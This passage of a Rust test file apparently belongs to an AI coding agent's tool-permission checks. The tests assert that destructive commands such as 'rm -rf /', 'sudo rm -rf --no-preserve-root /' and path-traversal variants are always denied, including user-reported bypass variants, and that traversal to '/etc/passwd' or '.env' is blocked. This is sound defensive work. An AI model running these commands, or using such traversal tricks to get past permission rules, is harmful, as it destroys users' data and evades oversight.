1973 t("rm / -rf --no-preserve-root").is_deny();
1974 t("rm ~ -rf --no-preserve-root").is_deny();
1975 // Safe paths with --flag=value should NOT be blocked
1976 t("rm --no-preserve-root=yes -rf ./build")
1977 .mode(ToolPermissionMode::Allow)
1978 .is_allow();
1979 t("rm --interactive=never -rf /tmp/test")
1980 .mode(ToolPermissionMode::Allow)
1981 .is_allow();
1982 // Safe paths with --flag (without =value) should NOT be blocked
1983 t("rm --no-preserve-root -rf ./build")
1984 .mode(ToolPermissionMode::Allow)
1985 .is_allow();
1986 }
1987
1988 #[test]
1989 fn hardcoded_blocks_rm_with_path_traversal() {
1990 // Traversal to root via ..
1991 t("rm -rf /etc/../").is_deny();
1992 t("rm -rf /tmp/../../").is_deny();
1993 t("rm -rf /tmp/../..").is_deny();
1994 t("rm -rf /var/log/../../").is_deny();
1995 // Root via /./
1996 t("rm -rf /./").is_deny();
1997 t("rm -rf /.").is_deny();
1998 // Double slash (equivalent to /)
1999 t("rm -rf //").is_deny();
2000 // Home traversal via ~/./
2001 t("rm -rf ~/./").is_deny();
2002 t("rm -rf ~/.").is_deny();
2003 // Dot traversal via indirect paths
2004 t("rm -rf ./foo/..").is_deny();
2005 t("rm -rf ../foo/..").is_deny();
2006 // Traversal in chained commands
2007 t("ls && rm -rf /tmp/../../").is_deny();
2008 t("echo hello; rm -rf /./").is_deny();
2009 // Traversal cannot be bypassed by global or allow patterns
2010 t("rm -rf /tmp/../../")
2011 .global_default(ToolPermissionMode::Allow)
2012 .is_deny();
2013 t("rm -rf /./").allow(&[".*"]).is_deny();
2014 // Safe paths with traversal should still be allowed
2015 t("rm -rf /tmp/../tmp/foo")
2016 .mode(ToolPermissionMode::Allow)
2017 .is_allow();
2018 t("rm -rf ~/Documents/./subdir")
2019 .mode(ToolPermissionMode::Allow)
2020 .is_allow();
2021 }
2022
2023 #[test]
2024 fn hardcoded_blocks_rm_multi_path_with_dangerous_last() {
2025 t("rm -rf /tmp /").is_deny();
2026 t("rm -rf /tmp/foo /").is_deny();
2027 t("rm -rf /var/log ~").is_deny();
2028 t("rm -rf /safe $HOME").is_deny();
2029 }
2030
2031 #[test]
2032 fn hardcoded_blocks_rm_multi_path_with_dangerous_first() {
2033 t("rm -rf / /tmp").is_deny();
2034 t("rm -rf ~ /var/log").is_deny();
2035 t("rm -rf . /tmp/foo").is_deny();
2036 t("rm -rf .. /safe").is_deny();
2037 }
2038
2039 #[test]
2040 fn hardcoded_allows_rm_multi_path_all_safe() {
2041 t("rm -rf /tmp /home/user")
2042 .mode(ToolPermissionMode::Allow)
2043 .is_allow();
2044 t("rm -rf ./build ./dist")
2045 .mode(ToolPermissionMode::Allow)
2046 .is_allow();
2047 t("rm -rf /var/log/app /tmp/cache")
2048 .mode(ToolPermissionMode::Allow)
2049 .is_allow();
2050 }
2051
2052 #[test]
2053 fn hardcoded_blocks_rm_multi_path_with_traversal() {
2054 t("rm -rf /safe /tmp/../../").is_deny();
2055 t("rm -rf /tmp/../../ /safe").is_deny();
2056 t("rm -rf /safe /var/log/../../").is_deny();
2057 }
2058
2059 #[test]
2060 fn hardcoded_blocks_user_reported_bypass_variants() {
2061 // User report: "rm -rf /etc/../" normalizes to "rm -rf /" via path traversal
2062 t("rm -rf /etc/../").is_deny();
2063 t("rm -rf /etc/..").is_deny();
2064 // User report: --no-preserve-root (without =value) should not bypass
2065 t("rm -rf --no-preserve-root /").is_deny();
2066 t("rm --no-preserve-root -rf /").is_deny();
2067 // User report: "rm -rf /*" should be caught (glob expands to all top-level entries)
2068 t("rm -rf /*").is_deny();
2069 // Chained with sudo
2070 t("sudo rm -rf /").is_deny();
2071 t("sudo rm -rf --no-preserve-root /").is_deny();
2072 // Traversal cannot be bypassed even with global allow or allow patterns
2073 t("rm -rf /etc/../")
2074 .global_default(ToolPermissionMode::Allow)
2075 .is_deny();
2076 t("rm -rf /etc/../").allow(&[".*"]).is_deny();
2077 t("rm -rf --no-preserve-root /")
2078 .global_default(ToolPermissionMode::Allow)
2079 .is_deny();
2080 t("rm -rf --no-preserve-root /").allow(&[".*"]).is_deny();
2081 }
2082
2083 #[test]
2084 fn normalize_path_relative_no_change() {
2085 assert_eq!(normalize_path("foo/bar"), "foo/bar");
2086 }
2087
2088 #[test]
2089 fn normalize_path_relative_with_curdir() {
2090 assert_eq!(normalize_path("foo/./bar"), "foo/bar");
2091 }
2092
2093 #[test]
2094 fn normalize_path_relative_with_parent() {
2095 assert_eq!(normalize_path("foo/bar/../baz"), "foo/baz");
2096 }
2097
2098 #[test]
2099 fn normalize_path_absolute_preserved() {
2100 assert_eq!(normalize_path("/etc/passwd"), "/etc/passwd");
2101 }
2102
2103 #[test]
2104 fn normalize_path_absolute_with_traversal() {
2105 assert_eq!(normalize_path("/tmp/../etc/passwd"), "/etc/passwd");
2106 }
2107
2108 #[test]
2109 fn normalize_path_root() {
2110 assert_eq!(normalize_path("/"), "/");
2111 }
2112
2113 #[test]
2114 fn normalize_path_parent_beyond_root_clamped() {
2115 assert_eq!(normalize_path("/../../../etc/passwd"), "/etc/passwd");
2116 }
2117
2118 #[test]
2119 fn normalize_path_curdir_only() {
2120 assert_eq!(normalize_path("."), "");
2121 }
2122
2123 #[test]
2124 fn normalize_path_empty() {
2125 assert_eq!(normalize_path(""), "");
2126 }
2127
2128 #[test]
2129 fn normalize_path_relative_traversal_above_start() {
2130 assert_eq!(normalize_path("../../../etc/passwd"), "../../../etc/passwd");
2131 }
2132
2133 #[test]
2134 fn normalize_path_relative_traversal_with_curdir() {
2135 assert_eq!(normalize_path("../../."), "../..");
2136 }
2137
2138 #[test]
2139 fn normalize_path_relative_partial_traversal_above_start() {
2140 assert_eq!(normalize_path("foo/../../bar"), "../bar");
2141 }
2142
2143 #[test]
2144 fn most_restrictive_deny_vs_allow() {
2145 assert!(matches!(
2146 most_restrictive(
2147 ToolPermissionDecision::Deny("x".into()),
2148 ToolPermissionDecision::Allow
2149 ),
2150 ToolPermissionDecision::Deny(_)
2151 ));
2152 }
2153
2154 #[test]
2155 fn most_restrictive_allow_vs_deny() {
2156 assert!(matches!(
2157 most_restrictive(
2158 ToolPermissionDecision::Allow,
2159 ToolPermissionDecision::Deny("x".into())
2160 ),
2161 ToolPermissionDecision::Deny(_)
2162 ));
2163 }
2164
2165 #[test]
2166 fn most_restrictive_deny_vs_confirm() {
2167 assert!(matches!(
2168 most_restrictive(
2169 ToolPermissionDecision::Deny("x".into()),
2170 ToolPermissionDecision::Confirm
2171 ),
2172 ToolPermissionDecision::Deny(_)
2173 ));
2174 }
2175
2176 #[test]
2177 fn most_restrictive_confirm_vs_deny() {
2178 assert!(matches!(
2179 most_restrictive(
2180 ToolPermissionDecision::Confirm,
2181 ToolPermissionDecision::Deny("x".into())
2182 ),
2183 ToolPermissionDecision::Deny(_)
2184 ));
2185 }
2186
2187 #[test]
2188 fn most_restrictive_deny_vs_deny() {
2189 assert!(matches!(
2190 most_restrictive(
2191 ToolPermissionDecision::Deny("a".into()),
2192 ToolPermissionDecision::Deny("b".into())
2193 ),
2194 ToolPermissionDecision::Deny(_)
2195 ));
2196 }
2197
2198 #[test]
2199 fn most_restrictive_confirm_vs_allow() {
2200 assert_eq!(
2201 most_restrictive(
2202 ToolPermissionDecision::Confirm,
2203 ToolPermissionDecision::Allow
2204 ),
2205 ToolPermissionDecision::Confirm
2206 );
2207 }
2208
2209 #[test]
2210 fn most_restrictive_allow_vs_confirm() {
2211 assert_eq!(
2212 most_restrictive(
2213 ToolPermissionDecision::Allow,
2214 ToolPermissionDecision::Confirm
2215 ),
2216 ToolPermissionDecision::Confirm
2217 );
2218 }
2219
2220 #[test]
2221 fn most_restrictive_allow_vs_allow() {
2222 assert_eq!(
2223 most_restrictive(ToolPermissionDecision::Allow, ToolPermissionDecision::Allow),
2224 ToolPermissionDecision::Allow
2225 );
2226 }
2227
2228 #[test]
2229 fn decide_permission_for_path_no_dots_early_return() {
2230 // When the path has no `.` or `..`, normalize_path returns the same string,
2231 // so decide_permission_for_path returns the raw decision directly.
2232 let settings = test_agent_settings(ToolPermissions {
2233 default: ToolPermissionMode::Confirm,
2234 tools: Default::default(),
2235 });
2236 let decision = decide_permission_for_path(EditFileTool::NAME, "src/main.rs", &settings);
2237 assert_eq!(decision, ToolPermissionDecision::Confirm);
2238 }
2239
2240 #[test]
2241 fn decide_permission_for_path_traversal_triggers_deny() {
2242 let deny_regex = CompiledRegex::new("/etc/passwd", false).unwrap();
2243 let mut tools = collections::HashMap::default();
2244 tools.insert(
2245 Arc::from(EditFileTool::NAME),
2246 ToolRules {
2247 default: Some(ToolPermissionMode::Allow),
2248 always_allow: vec![],
2249 always_deny: vec![deny_regex],
2250 always_confirm: vec![],
2251 invalid_patterns: vec![],
2252 },
2253 );
2254 let settings = test_agent_settings(ToolPermissions {
2255 default: ToolPermissionMode::Confirm,
2256 tools,
2257 });
2258
2259 let decision =
2260 decide_permission_for_path(EditFileTool::NAME, "/tmp/../etc/passwd", &settings);
2261 assert!(
2262 matches!(decision, ToolPermissionDecision::Deny(_)),
2263 "expected Deny for traversal to /etc/passwd, got {:?}",
2264 decision
2265 );
2266 }
2267
2268 #[test]
2269 fn normalize_path_collapses_dot_segments() {
2270 assert_eq!(
2271 normalize_path("src/../.zed/settings.json"),
2272 ".zed/settings.json"
2273 );
2274 assert_eq!(normalize_path("a/b/../c"), "a/c");
2275 assert_eq!(normalize_path("a/./b/c"), "a/b/c");
2276 assert_eq!(normalize_path("a/b/./c/../d"), "a/b/d");
2277 assert_eq!(normalize_path(".zed/settings.json"), ".zed/settings.json");
2278 assert_eq!(normalize_path("a/b/c"), "a/b/c");
2279 }
2280
2281 #[test]
2282 fn normalize_path_handles_multiple_parent_dirs() {
2283 assert_eq!(normalize_path("a/b/c/../../d"), "a/d");
2284 assert_eq!(normalize_path("a/b/c/../../../d"), "d");
2285 }
2286
2287 fn path_perm(
2288 tool: &str,
2289 input: &str,
2290 deny: &[&str],
2291 allow: &[&str],
2292 confirm: &[&str],
2293 ) -> ToolPermissionDecision {
2294 let mut tools = collections::HashMap::default();
2295 tools.insert(
2296 Arc::from(tool),
2297 ToolRules {
2298 default: None,
2299 always_allow: allow
2300 .iter()
2301 .map(|p| {
2302 CompiledRegex::new(p, false)
2303 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2304 })
2305 .collect(),
2306 always_deny: deny
2307 .iter()
2308 .map(|p| {
2309 CompiledRegex::new(p, false)
2310 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2311 })
2312 .collect(),
2313 always_confirm: confirm
2314 .iter()
2315 .map(|p| {
2316 CompiledRegex::new(p, false)
2317 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2318 })
2319 .collect(),
2320 invalid_patterns: vec![],
2321 },
2322 );
2323 let permissions = ToolPermissions {
2324 default: ToolPermissionMode::Confirm,
2325 tools,
2326 };
2327 let raw_decision = ToolPermissionDecision::from_input(
2328 tool,
2329 &[input.to_string()],
2330 &permissions,
2331 ShellKind::Posix,
2332 );
2333
2334 let simplified = normalize_path(input);
2335 if simplified == input {
2336 return raw_decision;
2337 }
2338
2339 let simplified_decision =
2340 ToolPermissionDecision::from_input(tool, &[simplified], &permissions, ShellKind::Posix);
2341
2342 most_restrictive(raw_decision, simplified_decision)
2343 }
2344
2345 #[test]
2346 fn decide_permission_for_path_denies_traversal_to_denied_dir() {
2347 let decision = path_perm(
2348 "copy_path",
2349 "src/../.zed/settings.json",
2350 &["^\\.zed/"],
2351 &[],
2352 &[],
2353 );
2354 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2355 }
2356
2357 #[test]
2358 fn decide_permission_for_path_confirms_traversal_to_confirmed_dir() {
2359 let decision = path_perm(
2360 "copy_path",
2361 "src/../.zed/settings.json",
2362 &[],
2363 &[],
2364 &["^\\.zed/"],
2365 );
2366 assert!(matches!(decision, ToolPermissionDecision::Confirm));
2367 }
2368
2369 #[test]
2370 fn decide_permission_for_path_allows_when_no_traversal_issue() {
2371 let decision = path_perm("copy_path", "src/main.rs", &[], &["^src/"], &[]);
2372 assert!(matches!(decision, ToolPermissionDecision::Allow));
2373 }
2374
2375 #[test]
2376 fn decide_permission_for_path_most_restrictive_wins() {
2377 let decision = path_perm(
2378 "copy_path",
2379 "allowed/../.zed/settings.json",
2380 &["^\\.zed/"],
2381 &["^allowed/"],
2382 &[],
2383 );
2384 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2385 }
2386
2387 #[test]
2388 fn decide_permission_for_path_dot_segment_only() {
2389 let decision = path_perm(
2390 "delete_path",
2391 "./.zed/settings.json",
2392 &["^\\.zed/"],
2393 &[],
2394 &[],
2395 );
2396 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2397 }
2398
2399 #[test]
2400 fn decide_permission_for_path_no_change_when_already_simple() {
2401 // When path has no `.` or `..` segments, behavior matches decide_permission_from_settings
2402 let decision = path_perm("copy_path", ".zed/settings.json", &["^\\.zed/"], &[], &[]);
2403 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2404 }
2405
2406 #[test]
2407 fn decide_permission_for_path_raw_deny_still_works() {
2408 // Even without traversal, if the raw path itself matches deny, it's denied
2409 let decision = path_perm("copy_path", "secret/file.txt", &["^secret/"], &[], &[]);
2410 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2411 }
2412
2413 #[test]
2414 fn decide_permission_for_path_denies_edit_file_traversal_to_dotenv() {
2415 let decision = path_perm(EditFileTool::NAME, "src/../.env", &["^\\.env"], &[], &[]);
2416 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2417 }
2418}
2419